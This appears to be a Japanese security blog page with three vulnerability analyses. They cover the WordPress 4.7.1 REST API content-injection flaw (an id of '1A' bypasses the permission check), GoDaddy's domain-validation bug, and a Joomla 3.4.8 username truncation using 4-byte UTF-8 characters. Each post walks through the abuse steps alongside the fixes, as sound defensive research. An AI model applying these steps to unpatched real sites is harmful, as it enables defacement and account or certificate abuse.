こんな風に書くと、WordPressの脆弱性なんてしょっちゅう見つかっているという意見もありそうですが、能動的かつ認証なしに、侵入できる脆弱性はここ数年出ていないように思います。そういうクラスのものが久しぶりに見つかったということですね。
以下は、ITMediaの記事からの引用です。
 WordPressではこの問題について、「セキュリティ問題は常に公開されるべきというのがわれわれのスタンスだが、今回のケースでは、何百万というWordPressサイトの安全を保証するため、意図的に公開を1週間先送りした」と説明している。
 この間にSucuriをはじめとするセキュリティ企業と連携し、攻撃が発生した場合でも各社のファイアウォールで防御できる態勢を確立。自動更新を通じてWordPressの更新版が行き渡り、できるだけ多くのユーザーが保護されるのを待ってから、情報を公開したという。

WordPress、更新版で深刻な脆弱性を修正 安全確保のため情報公開を先送りより引用

脆弱性のサマリは下記となります。

対象バージョンWordPress 4.7.0 および 4.7.1
影響コンテンツの改ざん
攻撃の認証要否不要
攻撃の難しさ極めて容易
対策WordPressのアップデート(4.7.2にて修正)

認証なしにリクエスト一発でコンテンツを改ざんできるため、影響は極めて深刻です。対象バージョンをお使いの方は、即刻アップデートすることをお勧めします。

攻撃の様子

PoCは複数公開されています。以下、一部を伏字にした形で攻撃の手順を説明します。
以下に攻撃前のコンテンツを示します。WordPressをインストールした直後であることが分かります。


このサイトに対して、以下のリクエストを送信します。一部伏字にしています。


攻撃後の画面は下記となります。攻撃を受けて、コンテンツが改ざんされていることが分かります。


上記から分かるように、認証不要で、攻撃に特別な情報も必要とせず、極めて容易にコンテンツが改ざんできるため、深刻な脆弱性であることがわかります。

脆弱性の原因

脆弱性の原因は、前述のSucuri Blogにて解説されていますが、この記事だと少し分かりにくいので解説を試みます。

WordPressでは以前からREST APIがプラグインとして用意されていましたが、WordPress 4.7以降で WordPress Coreにバンドルされました。今回の脆弱性は、このREST APIにあります。

以下の説明において、攻撃目標は、認証を回避して、id=1のコンテンツを改変することとします。WordPressのREST APIの内部では、以下の2つのメソッドが動きます。
  • update_item_permissions_check (権限の確認)
  • update_item (コンテンツの変更)
下記は、update_item_permissions_check メソッドのソースです。

wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php (Ver 4.7.1)

497:  public function update_item_permissions_check( $request ) {
498:    $post = get_post( $request['id'] );
499:    $post_type = get_post_type_object( $this->post_type );
500:    if ( $post && ! $this->check_update_permission( $post ) ) {
501:      return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post...
502:    }
503:    if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && 
             ! current_user_can( $post_type->cap->edit_others_posts ) ) {
504:      return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update ...
505:    }
506:    if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
507:      return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make ...
508:    }
509:    if ( ! $this->check_assign_terms_permission( $request ) ) {
510:      return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign ...
511:    }
512:    return true;
513:  }

ここで、idとして以下のようなパラメータを指定した場合のそれぞれの返り値を示します。

コンテンツの性質返り値
存在しないコンテンツtrue
存在し権限のあるコンテンツtrue
存在し権限のないコンテンツfalse

存在しないコンテンツが指定された場合、update_item_permissions_checkメソッドの様々なチェックをすべてくぐり抜け、メソッド最後のreturn文にて true が返されるところが恐ろしいですね。
しかし、この「存在しないコンテンツ」については、以下の update_item メソッドの 526行目にてエラーが返され、結果としては何もしない *はず* でした。

523:  public function update_item( $request ) {
524:    $id   = (int) $request['id'];
525:    $post = get_post( $id );
526:    if ( empty( $id ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
527:      return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
528:    }
529:    $post = $this->prepare_item_for_database( $request );
530:    if ( is_wp_error( $post ) ) {
531:      return $post;
532:    }

ところが、id=1A が指定された場合に、update_item_permissions_checkメソッドとupdate_itemメソッドの両方で呼ばれている get_post関数が受け取るパラメータを確認してみましょう。

update_item_permissions_checkでは、get_post('1A')が呼ばれ、1AをIDとするコンテンツはないため、「コンテンツは存在しない」が返され、チェック結果は true となります(!)。
一方、update_itemメソッドは、$id を整数にキャストしているため、get_post(1)が呼ばれ、ID=1 のコンテンツが変更されることになります。これにより、本来権限のないコンテンツ ID=1 に対する更新ができてしまうことになります。

以上が、この脆弱性の根本的な原因です。

WordPress 4.7.2での改修内容

WordPress 4.7.2では、代わりに、get_postメソッドがget_post関数のラッパーとして作成され、権限チェックと更新の両方から呼ばれるようになりました。

527:  public function update_item_permissions_check( $request ) {
528:    $post = $this->get_post( $request['id'] );
529:    if ( is_wp_error( $post ) ) {
530:      return $post;
531:    }

get_postメソッドの冒頭は下記のとおりです。

318:  protected function get_post( $id ) {
319:    $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
320:    if ( (int) $id <= 0 ) {
321:      return $error;
322:    }
323:    $post = get_post( (int) $id );
324:    if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
325:      return $error;
326:    }

$id を整数にキャストすることと、「存在しないコンテンツ」に対してエラーを返すようになりました。どちらか一方でも先の攻撃は防げるはずですが、とくに「存在しないコンテンツ」に対するチェックがいいですね(元々そうすべき内容ではありますが)。

教訓

この脆弱性は権限チェックの間違いの典型例です。チェックと更新とで、異なる入力を用いているわけですから、両者の不整合がチェック漏れの原因になります。
WordPress 4.7.2のソースを見ても、使用する度に int にキャストしている箇所があります。これは潜在的にバグや脆弱性の原因です。以下のいずれかにすべきであると考えます。
  • 入力値のバリデーションにて数値以外のものをエラーとする(推奨)
  • 入力時に整数にキャストし、以降の処理では一貫してキャスト後の値を用いる

まとめ

WordPress 4.7.1までのREST APIに存在した脆弱性について説明しました。Sucuriはこの脆弱性をPrivilege Escalation (権限昇格)としています。しかし、Privilege Escalation だと一般ユーザーが特権を悪用できるように感じますが、実際には認証しなくても権限が悪用できるため、「アクセス制御の欠落」の方がより適切であるように思います。
前述のように、極めて危険な脆弱性であるため、当該バージョンのWordPressをお使いのサイトは、至急のアップデートを推奨します。


【HASHコンサルティング広告】

HASHコンサルティング株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | HASHコンサルティング株式会社

2017年1月12日木曜日

GodaddyのSSL証明書にドメイン認証の脆弱性があり8850件の証明書が失効された

エグゼクティブサマリ

GoDaddy社の発行するドメイン認証SSL証明書に認証不備の脆弱性があり、予防的な処置として8850件の発行済証明書が失効された。これは同期間に発行された証明書の2%未満である。現在は脆弱性は解消されている。

概要

GoDaddy社は米国のホスティング(レンタルサーバー)やレジストラの大手で、認証局(CA)の事業も手がけています。
GoDaddyが発行するドメイン認証証明書の認証手続きに不備があったとして報告されています。
In a typical process, when a certificate authority, like GoDaddy, validates a domain name for an SSL certificate, they provide a random code to the customer and ask them to place it in a specific location on their website. When their system searches and finds the code, the validation is complete.

However, when the bug was introduced, certain web server configurations caused the system to provide a positive result to the search, even if the code was not found.

Information about SSL bug - The Garage より引用
すなわち、ドメイン認証の手段として、GoDaddyが発行するランダムなコードを含むファイルをウェブサイト上の特定の位置に設置し、そのファイルの内容を確認することでドメイン所有者であることを確認しているが、ファイルがなくてもドメイン所有者とされ、証明書が発行できていたというのです。

以下、この問題のGoogle groupsにおけるディスカッションも参考にしながら、悪い人がgoogle.comの証明書を入手しようとしたと想定して、悪用の手順を紹介します。
  • 悪人は、GoDaddyのコントロールパネルからwww.google.comのサーバー証明書を要求する
  • コントロールパネルがランダムなコード(以下、例としてtR7PasZyを用います)を発行し、利用者に http://www.google.com/tR7PasZy.html を作成して、その中にtR7PasZyというコードを含めるように要求する
  • 悪人は、実際には上記のページを設置できないが、設置したという報告をコントロールパネル上で行う
  • GoDaddyの認証システムは、http://www.google.com/tR7PasZy.html からコードを読み取ろうとする。この際の表示は下記となる(ステータス404)


HTMLソースは下記の通り。
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style> …省略…  </style>
  <a href=//www.google.com/><span id=logo aria-label=Google></span></a>
  <p><b>404.</b> <ins>That’s an error.</ins>
  <p>The requested URL <code>/tR7PasZy.html</code> was not found on this server.  <ins>That’s all we know.</ins>

  • ステータス404なのに、レスポンス中にコード tR7PasZy が含まれているために、認証は成功してしまう
  • 悪人は、www.google.com の証明書を入手できる

※ 実際には、google.com等の著名ドメイン名はブロックされる可能性もありますが、上記は脅威の分かりやすい例として紹介しています。実際にGoogleの証明書が不正に発行されたわけではありません。

GoDaddy社の対応

GoDaddy社は今年1月3日にメールにて報告を受けた後に、1月6日にエスカレーションされ問題を認識しました。調査の結果、バグが混入したのは2016年7月29日であり、2017年1月10日までに解消されました。
この問題の影響を受けた可能性のある証明書は最大 8850件であり、同期間に発行された証明書の2%未満ということです。これらの証明書は、GoDaddy社により失効手続きがとられ、利用者による再発行手続きが必要となります。

まとめ

GoDaddy認証局のドメイン認証脆弱性について紹介しました。類似の過去事例としては、下記のようなものもあります。


バグの本質的な原因は、HTTPレスポンスのステータスをチェックしていなかったことにありますが、ファイル名とファイルの中身の両方に同一の認証コードを含めるという設計は、上記のように潜在的な問題を抱えていると考えます。したがって、ファイル名とファイル中に記述する認証コードは別々に発行することで、仮にステータスのチェックが抜けていても脆弱性にならないような設計となります。このように、予防的な設計を心がけることが重要です。

2017年1月2日月曜日

Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた

以前の記事CMS四天王のバリデーション状況を調査したところ意外な結果になったで報告したように、Joomla!はログイン名の制限が非常にゆるやかになっています。であれば、🍣とか、💩などを含むログイン名が登録できるのだろうかという疑問が生じました。
とはいえ、以前、Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因で報告したように、少なくともJoomla! 3.4.5までは、MySQLの設定上 UTF-8 の4バイト文字は登録できず、それ以降の文字が全て切り詰められるという問題がありました。
このため、「admin🍣」というログイン名を登録しようとすると、🍣の切り詰めが起こって、adminユーザを二重に登録できなるのではないでしょうか?

試してみる

Joomla! 3.4.8の環境を用意して管理者ユーザーを「admin」としておきます。下記のように、default charsetはutf8となっています。
mysql> show create table  dnbd5_users;
CREATE TABLE `dnbd5_users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL DEFAULT '',
  `username` varchar(150) NOT NULL DEFAULT '',
   ... 省略
) ENGINE=InnoDB AUTO_INCREMENT=685 DEFAULT CHARSET=utf8
この状態で、「admin🍣」を登録します。下記のように、usernameとしてadminを持つユーザーが二重に登録されていることがわかります。
mysql> SELECT id, name, username, email FROM dnbd5_users where username='admin';
+-----+------------+----------+------------------+
| id  | name       | username | email            |
+-----+------------+----------+------------------+
| 683 | Super User | admin    | alice@example.jp |
| 684 | bob        | admin    | bob@example.jp   |
+-----+------------+----------+------------------+
2 rows in set (0.00 sec)
これは一種のColumn SQL Truncationといえますが、セキュリティ上の問題はないのでしょうか?

セキュリティ上の影響はないのか

上記の現象がセキュリティ上の問題となるシナリオの典型例は下記のものです。
  • 攻撃者がセルフサービスでadmin🍣ユーザーを登録し、結果としてadminとして登録される
  • 攻撃者がユーザー=admin、パスワード=自分の登録したパスワードでログインする
  • 攻撃者の権限がSuper Userのものとなる
このシナリオの例を以前記事に書きましたので興味のある方は参照ください。
しかし、Joomla!の場合、ここまでの悪用はできないようです。その理由は以下の通りです。
Joomla!のログイン処理のSQL文は以下の通りですが、
SELECT id, password FROM dnbd5_users WHERE username='admin'
私がさまざまな条件でテストした範囲では、常に(先に登録された)Super Userの方がログイン処理に用いられ、後から追加したユーザー(bob)はログインチェックの対象にならないようです。
そして、仮にbobの方がマッチしたとしても、権限等はユニークな id で管理されているので、bobがSuer Userとしての権限を持つことはありません。
最悪の状態では、Super Userの方がログイン対象にならず、ログインできなくなるという事態は考えられますが、状況の実現には至っていません。

adminが二重に登録される理由(19:00追記)

それでは、🍣を使うとなぜadminが二重に登録できるのでしょうか。その理由は以下の様なものです。
まず、username列には一意制約がないのでデータベースの定義上は重複を許しています。
このためアプリケーション側で一意性の確認をしていますが、確認時には「admin🍣」が登録されていないことを確認しているので、そのチェックは通過します。続いて、admin🍣をインサートしますが、🍣はMySQLのutf8文字エンコーディングの列ではインサートできない(UTF-8の4バイト文字を許していないため)ので、🍣以降を切り詰めるというMySQLの恐ろしい仕様があります。このため、admin🍣がadminに化けて登録されるのです。

Joomla! 3.5以降の対応

上記は、Joomla! 3.4.8までの仕様ですが、Joomla! 3.5.0になって、データベースのデフォルトの文字エンコーディングが utf8mb4 に変更されました。これにより、Joomla! 3.5.0以降では、UTF-8の4バイト文字を悪用した攻撃は、基本的にできなくなると考えられます。

アップグレードではどうなるか?

また、旧バージョンからのバージョンアップの際にも、データベースのデフォルト文字エンコーディングが utf8mb4 に変更されるようです。
下記は、Joomla! 3.4.8インストール後にJoomla! 3.6.5にアップデートした状態で admin🍣 ユーザーを登録したものですが、たしかに admin🍣 というUsernameが作られています。


まとめ

Joomla! 3.4.8まででは、UTF-8の4バイト文字以降が切り詰められるという仕様を悪用して、admin🍣ユーザを登録することで、adminユーザを二重に登録できることを示しました。これによる重大な問題はなさそうですが、最悪adminユーザでログインできなくなる可能性があります。
Joomla! 3.5.0では、データベースのDEFAULT CHASETが utf8mb4 に変更されたため、この問題は解消されています。

フォロワー

ブログ アーカイブ